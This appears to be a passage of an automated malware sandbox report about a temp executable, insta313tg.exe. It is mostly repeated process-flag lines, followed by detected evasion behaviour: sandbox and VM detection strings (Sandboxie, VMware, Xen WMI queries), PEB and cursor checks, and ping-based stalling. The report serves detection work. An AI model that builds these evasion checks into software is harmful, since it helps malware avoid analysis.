Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found API chain indicative of sandbox detection

Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe

Sandbox detection routine: GetCursorPos, DecisionNode, Sleep

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe

Evasive API call chain: GetPEB, DecisionNodes, Sleep

Found stalling execution ending in API Sleep call

Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe

Stalling execution: Execution stalls by calling Sleep

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: insta313tg.exe, 0000002A.00000002.470471234.0000000002682000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL
Source: insta313tg.exe, 0000002A.00000002.470471234.000000000254E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: EXPLORER9SBIEDLL.DLL:SELECT * FROM WIN32_BIOS8UNEXPECTED WMI QUERY FAILURE;VERSION<SERIALNUMBER>VMWARE\|VIRTUAL\|A M I\|XEN?SELECT * FROM WIN32_COMPUTERSYSTEM@MANUFACTURERAMODELBMICROSOFT\|VMWARE\|VIRTUALCJOHNDANNAEXXXXXXXX

Uses ping.exe to sleep

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
